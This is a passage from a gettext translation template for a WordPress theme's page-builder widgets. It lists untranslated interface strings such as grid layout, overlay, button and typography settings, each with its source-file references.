#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:863
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1096
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:620
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:758
#: inc/js_composer/shortcodes/big_grid/settings.php:622
#: inc/js_composer/shortcodes/big_grid/settings.php:736
msgid "Content Text Margin"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:884
msgid "Big Grid Custom Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:891
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:898
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:905
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:912
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:919
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:926
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:236
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:518
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:299
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1009
#: inc/js_composer/shortcodes/big_grid/settings.php:396
#: inc/js_composer/shortcodes/big_grid/settings.php:404
#: inc/js_composer/shortcodes/big_grid/settings.php:412
#: inc/js_composer/shortcodes/big_grid/settings.php:420
#: inc/js_composer/shortcodes/big_grid/settings.php:428
#: inc/js_composer/shortcodes/big_grid/settings.php:436
#: inc/js_composer/shortcodes/info_box/settings.php:25
#: inc/js_composer/shortcodes/info_box/settings.php:390
msgid "Sub Title"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:892
#: inc/js_composer/shortcodes/big_grid/settings.php:397
msgid "Big Grid Item #1"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:893
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:900
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:907
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:914
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:921
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:928
#: inc/js_composer/shortcodes/big_grid/settings.php:398
#: inc/js_composer/shortcodes/big_grid/settings.php:406
#: inc/js_composer/shortcodes/big_grid/settings.php:414
#: inc/js_composer/shortcodes/big_grid/settings.php:422
#: inc/js_composer/shortcodes/big_grid/settings.php:430
#: inc/js_composer/shortcodes/big_grid/settings.php:438
msgid "I am demo text. Edit grid items to edit me"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:894
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:901
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:908
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:915
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:922
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:929
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:53
#: inc/elementor/modules/penci-button/widgets/penci-button.php:53
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:71
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:86
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:534
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:535
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:541
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:542
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:548
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:549
#: inc/js_composer/shortcodes/big_grid/settings.php:399
#: inc/js_composer/shortcodes/big_grid/settings.php:407
#: inc/js_composer/shortcodes/big_grid/settings.php:415
#: inc/js_composer/shortcodes/big_grid/settings.php:423
#: inc/js_composer/shortcodes/big_grid/settings.php:431
#: inc/js_composer/shortcodes/big_grid/settings.php:439
#: inc/js_composer/shortcodes/custom_sliders/settings.php:22
#: inc/js_composer/shortcodes/custom_sliders/settings.php:23
#: inc/js_composer/shortcodes/custom_sliders/settings.php:33
#: inc/js_composer/shortcodes/custom_sliders/settings.php:34
#: inc/js_composer/shortcodes/custom_sliders/settings.php:44
#: inc/js_composer/shortcodes/custom_sliders/settings.php:45
msgid "Click Here"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:899
#: inc/js_composer/shortcodes/big_grid/settings.php:405
msgid "Big Grid Item #2"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:906
#: inc/js_composer/shortcodes/big_grid/settings.php:413
msgid "Big Grid Item #3"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:913
#: inc/js_composer/shortcodes/big_grid/settings.php:421
msgid "Big Grid Item #4"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:920
#: inc/js_composer/shortcodes/big_grid/settings.php:429
msgid "Big Grid Item #5"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:927
#: inc/js_composer/shortcodes/big_grid/settings.php:437
msgid "Big Grid Item #6"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:938
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:464
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:536
msgid "Custom Image Sizes"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:942
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:468
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:96
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:405
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:151
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:542
#: inc/js_composer/shortcodes/big_grid/settings.php:636
#: inc/js_composer/shortcodes/product/settings.php:322
#: inc/js_composer/shortcodes/product_tabs/settings.php:271
#: inc/js_composer/shortcodes/recent_posts/settings.php:59
#: inc/js_composer/soledad_vc.php:472 inc/js_composer/soledad_vc.php:1002
#: inc/js_composer/soledad_vc.php:1706
#: inc/template-builder/archive-elements/posts.php:421
#: inc/template-builder/single-elements/postpagination.php:79
msgid "Custom Image Size"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:949
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:475
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:81
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:551
#: inc/js_composer/shortcodes/big_grid/settings.php:645
msgid "Image Size for Big Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:957
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:483
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:561
#: inc/js_composer/shortcodes/big_grid/settings.php:654
msgid "Custom Image Size for Mobile"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:975
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:499
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:619
msgid "Content Text Position and Display"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:981
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:505
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:627
#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:66
#: inc/js_composer/shortcodes/big_grid/settings.php:673
#: inc/js_composer/shortcodes/tiktok_embed_feed/settings.php:29
msgid "Content Text Horizontal Position"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1009
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:533
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:658
#: inc/js_composer/shortcodes/big_grid/settings.php:686
msgid "Content Text Vertical Position"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1037
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:561
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:755
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:688
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:174
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:161
#: inc/js_composer/shortcodes/big_grid/settings.php:698
#: inc/js_composer/shortcodes/small_list/settings.php:111
msgid "Content Text Align"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1060
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:584
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:713
#: inc/js_composer/shortcodes/big_grid/settings.php:711
msgid "Content Text Display"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1065
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:589
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:718
#: inc/js_composer/shortcodes/big_grid/settings.php:715
msgid "Inline Block"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1070
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:594
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:725
#: inc/js_composer/shortcodes/big_grid/settings.php:722
msgid "Content Text Max-Width"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1081
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:605
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:739
msgid "Content Text Padding and Margin"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1107
#: inc/js_composer/shortcodes/big_grid/settings.php:744
msgid "Big Grid Overlay"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1112
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:636
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:779
#: inc/js_composer/shortcodes/big_grid/settings.php:751
msgid "Apply Overlay On:"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1116
msgid "Whole Image"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1117
#: inc/js_composer/shortcodes/big_grid/settings.php:755
msgid "Whole Content Text"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1131
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:655
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:803
#: inc/js_composer/shortcodes/big_grid/settings.php:763
msgid "Overlay Opacity(%)"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1141
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:665
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:815
#: inc/js_composer/shortcodes/big_grid/settings.php:770
msgid "Overlay Hover Opacity(%)"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1151
#: inc/js_composer/shortcodes/big_grid/settings.php:777
msgid "Apply Separate Background for Categories/Sub Title"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1156
#: inc/js_composer/shortcodes/big_grid/settings.php:788
msgid "Background for Categories/Sub Title"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1167
#: inc/js_composer/shortcodes/big_grid/settings.php:796
msgid "Background for Categories/Sub Title on Hover"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1178
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:675
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:827
#: inc/js_composer/shortcodes/big_grid/settings.php:804
msgid "Apply Separate Background for Title"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1183
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:680
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:834
#: inc/js_composer/shortcodes/big_grid/settings.php:815
msgid "Background for Title"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1193
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:690
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:846
#: inc/js_composer/shortcodes/big_grid/settings.php:823
msgid "Background for Title on Hover"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1203
#: inc/js_composer/shortcodes/big_grid/settings.php:831
msgid "Apply Separate Background for Post Meta/Description"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1208
#: inc/js_composer/shortcodes/big_grid/settings.php:842
msgid "Background for Post Meta/Description"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1218
#: inc/js_composer/shortcodes/big_grid/settings.php:850
msgid "Background for Post Meta/Description on Hover"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1230
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:727
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:892
msgid "Hover Effect"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1235
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:732
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:899
#: inc/js_composer/shortcodes/big_grid/settings.php:866
msgid "Image Hover Effect"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1239
msgid "Zoom-In"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1240
msgid "Zoom-out"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1241
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1267
msgid "Move to Left"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1250
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:747
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:916
#: inc/js_composer/shortcodes/big_grid/settings.php:882
msgid "Content Text Hover Type"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1255
msgid "Show on Hover"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1256
msgid "Hide on Hover"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1261
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:758
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:929
#: inc/js_composer/shortcodes/big_grid/settings.php:894
msgid "Content Text Hover Animation"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1270
msgid "Zoom Out"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1277
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:774
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:947
#: inc/js_composer/shortcodes/big_grid/settings.php:910
msgid "Makes Titles Always Visible?"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1285
msgid "Big Grid Typography & Colors"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1290
msgid "Big Grid Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1296
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:712
#: inc/js_composer/shortcodes/small_list/settings.php:545
msgid "Add Vertical Border Between Post Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1305
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:802
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:720
msgid "Custom Vertical Border Color"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1315
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:812
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:730
msgid "Custom Vertical Border Width"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1344
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1581
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1761
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:841
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1042
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1206
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:530
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:934
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:654
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:996
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1194
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:386
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:338
#: inc/js_composer/shortcodes/big_grid/settings.php:944
#: inc/js_composer/shortcodes/big_grid/settings.php:1191
#: inc/js_composer/shortcodes/big_grid/settings.php:1321
#: inc/js_composer/shortcodes/info_box/settings.php:308
#: inc/template-builder/single-elements/postpagination.php:176
msgid "Borders Width"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1353
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1599
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1791
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:850
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1060
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1234
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:502
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:816
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:960
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1030
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:1007
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1222
#: inc/js_composer/shortcodes/big_grid/settings.php:951
#: inc/js_composer/shortcodes/big_grid/settings.php:1207
#: inc/js_composer/shortcodes/big_grid/settings.php:1337
#: inc/options/custom-fields/spacing-field.php:30
msgid "Padding"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1363
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:860
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:768
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:649
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:176
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:793
msgid "Featured Image Shadow"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1369
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:866
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:774
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:655
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:182
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:799
msgid "Enable Shadow?"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1374
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:871
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:779
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:660
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:187
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:804
msgid "Image Shadow"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1383
msgid "Post Categories/ Sub Title"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1389
msgid "Text & Links Color"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1401
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1475
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:939
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:686
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:884
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:907
#: inc/js_composer/shortcodes/big_grid/settings.php:1090
msgid "Links Hover Color"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1437
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:901
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:1046
#: inc/js_composer/shortcodes/big_grid/settings.php:1024
msgid "Title Typography for Big Items"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1449
msgid "Post Meta/ Description Text"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1515
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:787
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1099
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:944
#: inc/js_composer/shortcodes/big_grid/settings.php:1120
msgid "Read More Button"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1590
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1776
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1051
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1220
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:643
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1208
#: inc/js_composer/shortcodes/big_grid/settings.php:1199
#: inc/js_composer/shortcodes/big_grid/settings.php:1329
#: inc/template-builder/single-elements/postpagination.php:157
msgid "Borders Radius"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1608
#: inc/js_composer/shortcodes/big_grid/settings.php:1215
#: inc/js_composer/shortcodes/big_grid/settings.php:1222
msgid "Add Icon to \"Read More\" Button"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1647
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1088
#: inc/js_composer/shortcodes/big_grid/settings.php:1250
msgid "Load More Posts Button Max Width"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1678
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1129
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1117
msgid "Text Hover & Active Color"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1707
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1156
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1144
msgid "Borders Hover & Active Color"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1736
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1183
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:247
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1171
msgid "Hover & Active Background Color"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1817
msgid "Query Based Posts"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1835
msgid "This option only work for Archive Builder"
msgstr ""

#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1843
msgid ""
"This option will sticky newest posts when your page go to a new pagination"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:20
msgid " Block Heading"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:42
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:256
msgid "Extra Button Link"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:59
msgid "Button URL"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:81
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:241
msgid "Button Position"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:112
msgid "Hide Extra Button Link on Mobile"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:120
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:135
#: inc/elementor/modules/penci-button/widgets/penci-button.php:168
msgid "Add Icon to Button"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:154
msgid "Extra Links Group"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:163
msgid "More Text"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:172
msgid "Maxium Items Display"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:190
msgid "Link Title"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:197
msgid "Link URL"
msgstr ""

#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:231
msgid "Block Heading Padding"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:23
msgid " Button Popup"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:46
#: inc/elementor/modules/penci-button/widgets/penci-button.php:23
#: inc/elementor/modules/penci-button/widgets/penci-button.php:43
msgid " Button"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:54
#: inc/elementor/modules/penci-button/widgets/penci-button.php:54
msgid "Add Button Text Here"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:82
#: inc/elementor/modules/penci-button/widgets/penci-button.php:100
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:807
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:845
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1152
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:174
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:950
msgid "Button Padding"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:91
#: inc/elementor/modules/penci-button/widgets/penci-button.php:112
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1487
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:823
msgid "Button Border Radius"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:101
#: inc/elementor/modules/penci-button/widgets/penci-button.php:125
msgid "Add Borders to Button"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:125
#: inc/elementor/modules/penci-button/widgets/penci-button.php:155
msgid "Custom Button Borders Width"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:151
#: inc/elementor/modules/penci-button/widgets/penci-button.php:190
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:472
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:375
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:850
#: inc/elementor/modules/penci-product/widgets/penci-product.php:483
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:137
#: inc/js_composer/shortcodes/button_popup/settings.php:167
msgid "Icon Position"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:162
#: inc/elementor/modules/penci-button/widgets/penci-button.php:204
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:388
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:152
#: inc/template-builder/single-elements/featured-overlay.php:411
#: inc/template-builder/single-elements/meta.php:261
msgid "Icon Spacing"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:174
#: inc/elementor/modules/penci-button/widgets/penci-button.php:224
